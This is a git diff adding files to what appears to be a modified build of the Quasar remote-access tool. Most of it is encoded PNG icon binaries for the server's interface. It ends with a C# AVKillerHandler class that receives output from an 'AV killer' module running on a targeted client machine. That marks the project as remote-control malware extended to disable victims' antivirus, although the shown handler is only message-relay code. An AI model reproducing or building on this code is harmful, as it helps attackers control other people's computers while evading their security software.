a/Quasar-1.4.1/Quasar.Server/Images/tag_red.png b/Quasar-1.4.1/Quasar.Server/Images/tag_red.png new file mode 100755 index 0000000000000000000000000000000000000000..6ebb37d25f58c68246d8ad6a015295dfa5367870 GIT binary patch literal 592 zcmV-W0k7R5;6p zlgVxxK@f)LC45c9TOf_{d{!)DV#gQ9u^lTnR)N?B4hRsNK&)mFLI{BXaU6RP-Hd*B zb;Jb3l0#jp`v2;$?rNpgYN6R|qF%3~R;!^}t)fz?pj!?Xf$9L#$Jra zV+qOU^Cuw+btb`RG?JZ%!=VYGoN$3mCUX>`kYzed-6&Bk7R#EZfpaeN1kB}fNG6j9 zAqsWf92DY}usm8Wm*DdmSn7|g4F&_G(`h6Ui9Luyoi~=(>orKcUM#@A*}%S@gC$>N zt>5pH3q+&Q9f%@k)E7cPhZtkvGtt>@1HZome|iABzA_=bUXNTL7z~;arBEn*5i{!Z z`TQ^BwFP!@4*qZt{`(pH*W(VP+wGDI_d4WAzVcfivW|vfP^h0000>Z+sNt2+U0SgfoD!Wm8sxbT>nyV*Byc6US+Mev^`pI%-cR#%pfrES|$2%tg@7${Im zLBJqCKm^~%kqyWahMtFC{m)BDn@^W+n<9Vs4o8^{xZi&Mv#JmPg~hDhyn9@iQaYl1 zb`JLD2V96U6l8WL=?n97fC_~~t>ED5npj0DEXy*Oju~q^dmy7QgiIy_{eJ&PQrd=O zTr3tLpD%!=R5+2n4HYIFZ-%8JGt|1(g~rh-D=YFj+Az zW(A5Kmc(%jan)&(SOLdLpDi*0KTl?3g3&8WuNWgH;XS@00@rm1q##!+l~R*`BVp_N zo+o>~-p$tT{t5Bs0?k82!-S(@;vSVo<7@Jfu3S^qP;(9ryrKIh{yWa!k>a)0QvY16 P00000NkvXXu0mjf=yc!b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/text.png b/Quasar-1.4.1/Quasar.Server/Images/text.png new file mode 100755 index 0000000000000000000000000000000000000000..ed841a02a7d1bd376af2e50c7bf0032938f7fef7 GIT binary patch literal 592 zcmV-W07YdLMY{D}OC*kDqm4uQBfsLLM+hJYc3D|3B}B}ie6k_vX#a1@E@DgewSww{VZ;-|L69_SjA)GM!HK!nh6mlfCWj-5Uf)G;3vo zn2RS#B76J$@0kns%Q1#zn^|B98jaL$uCFB<45Z)hORv{c|7~Yy7wgw0e&E^M0J}QA-5QGH(JUUX@<#Jhu!=b#c)s&>s zXy|>hSd{NclFk*3eFY$>0l-rDIF4g^kjvdsqFa=^C;jKQZ1X@D1TAgQiN}TZ=;SDh1q6CkCwC#3#4s=TBd1gL2WBJi8Jb5TOI5Hy2jZ1*d3q`j zmzM5K!O3OT7f^uqip)mHM!OOQ=jURM4-Vw{#)cH)*zoer`uc4T*m<1k!`m4t36c24 zO_rwe`|wa>1#Fft(=_jO6YoRK7QxdDes5!pMDTn|46)2wfGuC0on1UyTl*ycv22!I e5W{x-5nup#`Ak&HNL?8!V{ znjV^ye=2;qm;P{$`s;H$`x~a}R(xgP|G$RoO>~FD8I7fnS&nXWFMPEjPiNb7^=IwB zO%ASl$t*T|^U-%%8&{}vv|YWQef;Fc%Euzc)I$ztaD0e0suWxYs>%u literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/tick.png b/Quasar-1.4.1/Quasar.Server/Images/tick.png new file mode 100755 index 0000000000000000000000000000000000000000..a9925a06ab02db30c1e7ead9c701c15bc63145cb GIT binary patch literal 537 zcmV+!0_OdRP)Hs{AQG2a)rMyf zFQK~pm1x3+7!nu%-M`k}``c>^00{o_1pjWJUTfl8mg=3qGEl8H@}^@w`VUx0_$uy4 z2FhRqKX}xI*?Tv1DJd8z#F#0c%*~rM30HE1@2o5m~}ZyoWhqv>ql{V z1ZGE0lgcoK^lx+eqc*rAX1Ky;Xx3U%u#zG!m-;eD1Qsn@kf3|F9qz~|95=&g3(7!X zB}JAT>RU;a%vaNOGnJ%e1=K6eAh43c(QN8RQ6~GP%O}Jju$~Ld*%`mO1p`EB*FHYdKr%;k=xO&(k^EfNlSiKZ>5l+xr|%SFOV@6-ysFmD2F5 ze93OiS+LaQym;|2f6tbH%~V`D+ND?vc>4J^KSLxEMifJQ`8>*~y^+pGr&o-n=LJ zGWB(yB#;DR8&Lhqi{0(#wc#SwSB~jZKzIFx`8od>2Fo-Pfe7*M8^q#qw2yTxiXzd~ zRaz|F*rr78G`JZXG*YX~5K@5k>G@0HdlBo-6v1jHye?%qRwO@+-hO7J^4LlPG>@A1#{ zQFl4x7tnG)+cz_2Mq_f*H!U)kgg{iHqxT)Yr3ec@K!`)z_%h1c0Y2Eu(dMPkrhq5v zY+bKWfx|sTiOEB71HuwS*CDzA%ReBv4*7Zy7RM0n6`5#chfOJK`ze)Y6>d6Z?UmyNHH!3DdsP-ARyDo}1HO+>7_um7 zx_gj{+_aU_OUH_~Jd?KI#ICZujD`of2mDpCv_zFGE%6}tfL|j!WGu_i-u>4%{%d{$ X7`zMSfT21V00000NkvXXu0mjfkBx0` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/transmit_blue.png b/Quasar-1.4.1/Quasar.Server/Images/transmit_blue.png new file mode 100755 index 0000000000000000000000000000000000000000..7b1142fc70adfd598ce6eac581421d7e6295f370 GIT binary patch literal 814 zcmV+}1JV46P)^~)@W#UgN8qC(979%Vy9NAeJn`# zSw2!>g&{fNR2$Okoji4(4lt5P$>r&q16P0#(CAS`X1XUkTWj$WH+~m^i1nA!c54U2@ zzUeSE3@r(@mOzU7Ss)3zO6X49?eVdR`>f= zD(&<}w=25V_BpD%QfK~{4*0vpV)<6BAI*U7!YSn(9anIo^h$1Lw4>$RCWGxdm8_qj z8-Z>jbWcRL3)o3FSHo3#4@0T!b!F!4__T7a7X3qJoMEqHkXET~kf2YcP!3qAt)$FI)g zfX4xE%Ve@IB_$;X{~G{!1n^hDt+6w}2Edy|MMdmC0|1`~><4@={vu#`et!O#R4P65 s*8sp^b=iB(8ZE$Cxw*NSsD#+rPu4uZkAluh`2YX_07*qoM6N<$g1stv`v3p{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/uac_shield.png b/Quasar-1.4.1/Quasar.Server/Images/uac_shield.png new file mode 100755 index 0000000000000000000000000000000000000000..6a21ee583a97ed1adf1e7e483f54d762037e141d GIT binary patch literal 3556 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 eWYeJ9UjqPdhexKV6s#lw0000z1iyEv%?$mbQ(# zwJpuiQJP8?X_`#S8b+U_G6=ziYB!xPAcq{)ZJ0bECH@ zYx#`n8^Wzn^J!4>=q^bltNO15ry?0ecSLkjpT@vlid!jk)Fjf7&)q_V5zGs#3N%6* zbW~7Hg=&P0&~Y(|g>$hC9FL?;ttzPDZbpZu9OLb33^e2;FNTGJxScp1&q4M+y2ntQ z?C(=hpU$3~`Thx0eHwi0x`q+!d5k@|0_WHe%sG3e-s^MM`xM-ig!VcIA7H}X1ot~L zg=MLB4w-Q;Bi!!u2|I+Qb;0{{4Q53YX6+4_aXena{nmt*!YG7ua~`qc>o=?@U?rOU znS7%>klzi*muXnbM6i@4FR@s^8vTjDgy&%J?w?`u>NYMDFa_2%0SQ(qJE<3=<8Bzo zfdU60e*y(^$RF%r$kl)p7=7tlCDa$+J7w>}DU(O#~fk>pYuRvHi1E9^msg{tLeV XM&GIRvfA7%00000NkvXXu0mjf&%8>| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/user_add.png b/Quasar-1.4.1/Quasar.Server/Images/user_add.png new file mode 100755 index 0000000000000000000000000000000000000000..deae99bcff9815d8530a920e754d743700ddd5fb GIT binary patch literal 746 zcmVR5;6} zkbg*1Q547RkCGx=+ZrJV#zL@SQK$qJV#CSW)Px1IG~1R7@Ce7&_JfOHMV?!rlp(uU_DLu%oT329{ zvd}^m>Zu}~l!lF)$vj*+!9ivWYi3=6E`B>+7|Su$tH+R~2!#ne6eorwU&M#{7<<90 zO$iMuFlR;n2z>v9nKwp!?XQQ|aSfBtZ^J)10wQ zP}rH=KSJQ4N-!Ms3A?4X%~8iSR-zylzlSXd_?|M%f3%_Vax4V#xlec^^VT&5JP8rX z6}RO@h&}Lqo`s_<751_e20DK|@e2`2FToK$y2KTlwyhFyPdYY*B{>w4$%B}fnn&9d zQ0xQp-T@b00q1)Ft+NxwMg`RMry#!}42Vk(RW1t-$ePmK0V@&mp4&IBO>%w~~-qNFem8*NKi5C3*h;eH{=}2kRqEdNlF-|c6B{jNg1xE|{xZ_qq=T!wMF|0iq|AK>&MHw6~-ksQ9RtH+=$?!G=zinz|BNIO*d}XYdmm2K>Qw%i9j?X9SgRBJn4W5%uAclWG_T7f?M4s9q5$`w5b| z31S}-Tq~-?NahjDw3mU5cfqF5z)+g+pPplGDyLv1f8WAnTQ+Xiw;{fhcBLH^j|gI# z2~IT;7{m9#PQ$2>16f?4#0x*vLFksSJ~;)W1wO>uQ-rAG1{C+&5Zw%%))Pc(2_k9< z`smoi)Pkk!SK)SAcOy>0d#x(Rl;b_GP?XFE#P>r%M^9Kn>j@#I>kHsrS$qYvKE>lwZZUsXcw4nFNHZZ~?%71a&2u7&aV|47ZvJKBUVO{)!ekB`ACp}1 xSnjsa#jtYM{A~v!cV^R$X2;lcpKyd7^}lwPp>~q=QF{OY002ovPDHLkV1lJ{Vb%Zu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/user_edit.png b/Quasar-1.4.1/Quasar.Server/Images/user_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..c1974cda745278a404b9e29fa91e0503a84accb1 GIT binary patch literal 833 zcmV-H1HSx;P)wKwNApj*j?`*x8fjj}+T^cdNV;=~VOf{An4CI`(Q%x}`$a=uBQ`IcOG~+O zhFmpv$jQAVt#pVn<-FwXyxzC#)@;^BTYr4EXV3Qe?Ah}?KRp0?|HEG!QT7K}`6R>T z0?GlfNd&N5h)SxRamGIduGtwfO1+4h$^b)DXu0o8M7BEtF^>B+6kDUTT?1tl0&27( zTPtN#enUj2hcV)v4ROVeu()d=+i@S-%91h3XQQ_&2GLH&h;==J>*q}oafY~7o8YOx zW1up~WKKQv35z{tnCiF(G50p)FLR-gi@=FATO4h+zckVifX~k}G4#+4;u7niZGj@H zRkx!55oQOPpc>+6Y1FM1A`bW&7GI~k7+8?J0DewkUh)LOJkrdTe3;U(*Zgc$Er)&@ zD+5(f%bInl-ZwzNw#9d8%I4~~7EHgs3zhUKHpaRkt%*?UWMg-Zz7eUOc8t^s*~Buq zNnU77^3>6u=K_U{g-umARHHXA*H6dCx-dv81Ap`v`JB`FJi0MFsY3lE z5Gw;{eLz-+019a$Hq}BXzXU@)LB-NA6Y>hD8BxCLDcvPn`&N6q`mxc}yMb~sKo@Ed zDbOI5^9}?Dhz0FQMoKPVwk00IILo!IfS6^eQMBJdKtv5PI+Tbj;^0Fo6JmY=Cj0!M zlv6P`lmJPo4+6tWG2fYveukB1DzkD{lX z41Nw7E`C*@hclIfDYh$GCw<#Tk~h)}QkWS=$Gv&wY2h|l6&7Q)uMmBi&Zxg?1_yGk z;>5+4_M6eEhsL=ygB_>Q-+`#k4z^f-l|x?d%y)UiW7wGPG|s;O< zQ%h@FVGuo6)Fi$Fi7(KrG!JOdowP}dr3o$AodmltUGz6(S=wE9-Q^d!Dj~QG(v4`1 zSW!^uQoNPKh>sZK`_-AR7!stLUKs9tmpNz7oNul)o6T_lsaC79N~H=-r_;cAJoZsw zG#X{P-R@bd)jIL}{lD+mOZN$`uCAU*l60ieXoBfA$ol%a zjdtbzgG~&F!*3}MlgrwCKJTKXQn)M6&7NqrTGVPakTRFqY*vT_sZ{D?p-}iNMj%Pw zwzs#z9>}t+*zI=cbUIvIT!`D@1u7PcY@V{VwuX(34Md~SPXzr-z{|q`r_%|G#Ujoe zHk<7(ce~x^$%%`*Fg>ryDtc(lF@?b>dE!20r+y z#Q*>(wbV5H`-E4Do={CJp7=ERhw15hgZi)?jRG88 zzVz(5;g?Td1izJyO33bhjg2Qc7FVY@f9!o)Gu?DII~vm-Dc?}3M!fsgjP?F(7`rgg z+xOk8XD)e?Zl=5+un`5!7kr?F=eq)K-5uqr%yU$1hLv){Vlm=)*5~`lwMciiXFu*g z)*Jkz6AF>#zb(Vx`Iv{bdGZHtlW)v(y5k^|xgSUc9%0}S20nrYrO}78ofk?bV!5)4 z=Ngz@+$9N1>>mA%IWx`Fqa240bWkiW;2TZgd8CZS0U}@mknC;!2;wi$eI@`h0y2JS`Eae0CW}q(2(%!m8 zWq$`PDU>LT1_y*bBv#P5<@q0@ttz$hIH}YMDvAigCc=y*)jY-VOpTd;A8@3t7Xh4r z0KTWOk;N2Ox4!&&^4B*no$WtTX!BXB)rg!y8dvGgKBQKLJNXRRp0}Bsjd1|LNQX~c zbC~fjrk2iL@4dYF*vt;}dFn(%h)n_-vzEIHMOKRkdF%3Lq|zBgKm_h>TEq!))nWjq zzn;B!?!(dQcHu$#=JF`cS&W~C`WHFW^B!~MI#k)>1Vk&eQy8P1O`J6V04{D@|7d6^ zyBABnh-d^H0FX&L07M||E0n_dp4v&Q%PSE9p#R#Hq)`5I_(B5CE#q dxjPz0{s-<+c#AC!i7@~G002ovPDHLkV1iPlpuqqD literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/word.png b/Quasar-1.4.1/Quasar.Server/Images/word.png new file mode 100755 index 0000000000000000000000000000000000000000..462d894df1e77f5da61ada09703cd3e9d1e4902f GIT binary patch literal 734 zcmV<40wMj0P)15mbr)0=n@#MK^P=L2Ty`@7lb?%LUigPU5Ww;q(4*yUZP8fG{G$jPpy}w)FLgn zmNj$Dac6XAXL@gR*E|?Kc>Lyj@B4n=@4fGh&~;@Di>e5+PVzARZR3FR366vL#AD1Q z9zo)0)rNy*1$FoP<3q-}g`#bvSae|94tO)$?0gn?$LD(KQ{d&ncn{cxuFGQ+6pHV5 zWo<}9`klFx8nDr^+v&u^XERr7^QFChp57JudN@Yx%*H+t`k zB^RDhs>dZT4GU8rmoRX165Sn#@$|)P83+4Mg7Y4ah-0xsRE>jhD1gyvBU!pYG}kP| zqE*;1is(FD565!K$Z^gqis+KC64xACB4>nTtQBCml^nc z8gxC6{h?-VtW;7U<#h{%f(=;|F!3&p<4yaJAZ#JzIOikv^+aYP7zje7eRQ*2E}^7A z7DT+B{Ep_Py)L#8mK5lD9eG2?%I{?=Mc7$_nYXAm4~B1?Eq8uo=)8*@=X_4nMgxB3Fu|o)M^RQQ^DK!u6FiiR#)BUV&_Q= zczuK@uib}moNWR{`;2JoiA`3@{>Wy)6I`MBVXm79)*hh7@nM0G=Xkq`E8kL((#b)D z8n0nbUChtqu}E}F0m{eV;RP5um;989K`Yp_13+zNWGl2ZrC`KP;D?&GH#?>yH2f0Lb7s?o*_; Q7ytkO07*qoM6N<$f-sX->;M1& literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/world.png b/Quasar-1.4.1/Quasar.Server/Images/world.png new file mode 100755 index 0000000000000000000000000000000000000000..68f21d30116710e48a8bf462cb32441e51fad5f6 GIT binary patch literal 923 zcmV;M17!S(P)A9)b<7tX~vT z$e)FfZ+`X4_uKyq#wJHC;J3lH{lhQkUc~Wid;*pnjhM12xe-bPByd^xuQ9zgeM^Mm z*tc)|P}LtTnHXr@Gkmmbkg^O2bqyhO>LP|qjIwW2@Di+4EuKm~&tOO2!N3o{128Hl z9v%fgerM0C#)7P|PMvxr*!Gf?eGA8f{OT6fS`9l>LQCg)p=~c$Zr|AT_0+_?F*JJk zlapOT2Q(wWx-LMq(TxXxLn+U;!LV)MhNp~ommdh+fo8T*&g-yQbbG&ze&=>tC(Ar=&^1xlA;Jc(6 zcCi_xs8k}-S&#ONOHm%e@#nGC7F++8C~r29Or!_{(QGQEG)+O^J1BCPmgM4JAzC8I z`jS9bO>|}Jq_#$IRzp0d34>)&3L%7MN)eTv!0B!^nn}f4z2*vFE@jv3dn zG>H)u>FR7_d2JcsjvfZ$vkP~xik@T^(_N)nx=tqJV+tQjQ`owJ83bf`zX6Ear*=Mhzn5QUuXE|v zR33Qyi8G!0{H2r##d#6R6YmYbZz4NTssT;cXiGb6lxO+k@{ba@2D~*hKDY6N;Bkh> xhhCRLejsJkAIT{5sICHcfU`5>bKmUb{{y)0nR3PMMxX!y002ovPDHLkV1nl+t-}BS literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/world_go.png b/Quasar-1.4.1/Quasar.Server/Images/world_go.png new file mode 100755 index 0000000000000000000000000000000000000000..aee9c97f8232fd21bdd23804c83eb721ff597a96 GIT binary patch literal 944 zcmV;h15f;kP)Vt{;GNX|PV@wQxfRAQ-FeWBO z_okAVsCzMc+6+1!88|n0#f5DY;>y+0w55ffp3Cpz=VNHC0RRA)nx7m4J_e2fEr1D> zf$Li7b6<{q_X_|3fT6VpU}}ES1g3#EU(cKfCPFP#tOhI>gtQSn;qulcA%*-^2>JFm zr+(T4FtpZ8%})k^KL(S1BPTO2QL%$KxGYx;>U5BTrO?79gvFL~m7AM47lbE{|M1p@ zvJU{5KHA(pGTJssQM!0O10j6WL>(4&6rCX3c8K+IfcD4>45pqv>^k0$0RGbW>L~Ep z>F(G3_hpqWYSffq&yG-Z0#t0sZtPO7RtY8w81XE_$%9;8ywUmn_33;5p~)j(OtcLh zGW;R7d;;`7T4jV=PyEzuAB!7%sQMDYjz>7LEO}MJEJ+SEXMDFFKWs9AW0_c*yVfT8 zdLO<111JQ!Z5P|F5l?92}SW-(dg4!8-@ngsi3V^Oiyy@FAt+W#MZLO z+G>n8Cxq}c`;$Ecm+#=&HP9L%gkegdiWRq#ZuU14t$&X7yov1vXjLB(4@;a4kKLRg z-PA=-YKUFC%EJ2Z6sr?Rp~|N4#O=q$)pS=l!*Bo1(-`ie&YwXjm+`*$kXj*?M4{O% zuhGAMggv*$Cl@{hx*zyFSA6yJ!&%W0X~DEMC>Q=Dk#Mkui`0r-AY6 ziYp9c#&{<6JiCE=qrPunJwM|*-o=^4Szb&J5cfBbh$w7fBc$M|SUag$2d(i=0{##! z(KNT$=DD_V!?IjrCV=O7?_9~=opWmL;fW*1d9-cvk8qg2_BpO{v4zWlWG};=C;2-! z$Cag7CoJ20md|EuhSnN@SH6BZDm-yscyj#Rk@rnx3a!H!K7(Yu!lxHc)7Lu8)up-J z2HoDfaAs*8z|dL)001y@X6Owm(^b;|pVbz=yzjpaJj$ zhrpuriKefui_0DvN;1Ymq&%nwWg*IrK!Xz^eJWuq3u2H~0ra?EC@ge%+`A>6mV z9{TYo{=G6 zt@5m|4G+Q2zKv;Ch@O;`PfWArmB5n3gvMsxV&Iu>97{a!2kL74wd@!f_AP^O%_&ND zm}1c*+F;TcH^{p$P_|akvD5o7vmT>HCkP;z;;&+8tDBI;koi9eX`W!oH4`pYaHlFZwV;$>vvfQTw zM-`m&R_SPIBa^FUasC0GCCh%{h`$~db`z&-lFX#%(f>H6JD6Z(sIW`RKE+xOL+?+uQ%q z){?+F%=6pqEH{6=NzusC-*<`PZYiLCGyKD}Z8^V8ul-K=AV@SE1t4~D2*b1(9UUc= zN-;Dv#Ngl{rd7e$ZUPXC##BFmV>$26ZQi?6Po#@{4gllsPbku3Vq${Y+FAf~T}OJb zGWEz9{(zcvI&CUaN&p7GcqMG4&7ULx##68M4k(F4l7Q+Xm&>uSv4N&(w6?a=)YOC{ zoYLN-J?7@-9xGBx007$C+kK7w_2Z$(k&l}jo2#`dO;J#Ipsbc$pS#^Dy3Q&nSeE5x fGMT)t>sS8=`naU3reLNz00000NkvXXu0mjf)bGN+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/wrench.png b/Quasar-1.4.1/Quasar.Server/Images/wrench.png new file mode 100755 index 0000000000000000000000000000000000000000..5c8213fef5ab969f03189d4367e32e597e38bd7f GIT binary patch literal 610 zcmV-o0-gPdP)^jb z4`0v}DG1te)wmeb(>p90leRz?_mO+^JKy=v&2<29Od6?F%9%(c8los#f*@G`-%W&* z$)uBj2i@u-@SgX}gtyWPe6d*|w6h%R? zScK2#Yn%$sum0cy>90DmY*i{1XqpClEtktsRTZ)lCUe z<FogV^*tm>8*AlX za4oiR!&85LrobG57qUHUX#{>Vz(RHpB5|@>9O6N$jqB8>%($0wxE5R3)b>Y~xtCo$ zCgEk&A?_#IxHdN)9tqre^o{ho4{?hmPuf@^@I3-wncaRd%|~O3xbrKY=&TiwPYkJroM{;WUQTuMY8vpm+BBgry{~j2fHLegbHP( zrgXNbr0}2;^nywdjLjZe?uxtrd3D(pZH@fFFc0{BW_~jxoO1w7-VX;6vK@ROA$$R6 zEmo;Ht-Mj|>5jUy{bQ^V5@53LRI8AgLpUm|m+15sqcz@QtVSo|oz7ArM8?pIn+>gN z0b=4_b5O|4A*;Q+vc9Vqr~%3V155*NV~@gTz}KSUiKB-uJzjMZ>5%Q#n24H!V{ zTY(LLAE*NAHZ}C#wnj%Bw5OFIkRhkkAW#kDC3j9Wm0YXRaXlyyp>#mVfYG)eC;@ab zDb=T-BCAY4LI(Z@GOTr2V_A{pRwSmz+8Be>CjAw(=gnbVWAeguvZa93JmL(EDxv1m z0OP4q=fpAK1Mq!C2`OkEn37o;m#wF#(t(8Pu#S?2f#x<~4EO{@fmm`p9veD6RZ_jp z@Au4};q&`XuKEYgIiB4((kgxOs#YdqJw0fY>9^K_agEu5+$#k;w#%I2N>n_?)YIqu z`tq&#_^p?-%K*U0^}|7+9U(&k0?s;=r=uCZ%)H9_edH8wK}gB(nUB1FFk+2Ol%BXV zHoFY`D~2x|2m%7v+TE=2L@ zAc44q=tejYU5HLZGooZ=NXsV%)bU*sTokj@jZSo^9&w{ke7#VNQ*1zG!rIRk_@ zCqOr;g6B6CM1oPv1(~U4k@Gd+5tN0(j@GA*K*busv3Lb0UyXuowiRkTRZ#85JN!eC z_8ZVW>+upx5C#N|BTv2dK_EW@%(@F6yu1sZv>T3gm&*mIkvej1R4=RyYw#mS zx}c)#2z<)=VQ1|=ux>5PwjVE+J!Q84EQyG-j9SFYV*6AQj$Gb(7!KJE!k5iQ@O3K$ z@0NQZ)>b7&TaFd~Ciolk*Q(7cL+9cB`Y;G@rr`tk5Hdjv+))zSdlF#gI!>6`zB<@i zaKYP!9!Pl&5VMjydlq1x&}37{RQY+SSBXX-w?kCLKK%bXFYU6{?d+nH00000NkvXX Hu0mjfTSP*+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/zoom_out.png b/Quasar-1.4.1/Quasar.Server/Images/zoom_out.png new file mode 100755 index 0000000000000000000000000000000000000000..07bf98a79cfea526e250703356dbefdb6b80d166 GIT binary patch literal 708 zcmV;#0z3VQP)TNkCP1&*^7LC~A?iZQEu_hKZoQoXI zA7tfTv}|~Fb8b^XuP>qvDk=)P)vYKtT12;}bKn-mwHWl`1Bb)&{XXC4IY$Nnvj5@N zfekg1Y}gcI!)Cq|u?lR+A{2&=d~S$}&0ei1|7pO6jkZ$6%&{R8TNpk>=dV#j&aWqO zgE~4pNU_-giktFkY-J5_XDlv`7+j?n3mXtxgadILp+c<9cr~t!x1LM6m69Z~V#pLL z22Cs~BoIdtZHTjo7Q|_U0a2OmSF=gCGFB$RVZIP(pixmBqE!^15yd!#9Z{Wh)zB%o zikBFa!WJPvMB(noe(U;k1e~Y|r$}@wh*Ymykd6>E3t69z5DT&Jq-fSG-dPdU{SG;i zbSb3<`RfKgJD|lQC`6(Cdut1PbDV&$M=Y?U)x)A(0iQN+gAeOBg2Z6fr$_Is!%M70 z=n*z7{*s%3rO7yazIO)}qa&~o@WZ=R>!b#mOSR zlCR8M*iRy2j7!PmWiiegA>Og~W1?FLk0*NI^}`$RW + { + private readonly Client _targetClient; + + public AVKillerHandler(Client client) : base(true) + { + _targetClient = client; + } + + public override bool CanExecute(IMessage message) => message is AVKillerResponse; + + public override bool CanExecuteFrom(ISender sender) => _targetClient.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case AVKillerResponse resp: + Execute(sender, resp); + break; + } + } + + private void Execute(ISender client, AVKillerResponse message) + { + OnOutputReceived(message.Output, message.IsError); + } + + public event EventHandler OutputReceived; + + private void OnOutputReceived(string output, bool isError) + { + var handler = OutputReceived; + handler?.Invoke(this, new OutputEventArgs(output, isError)); 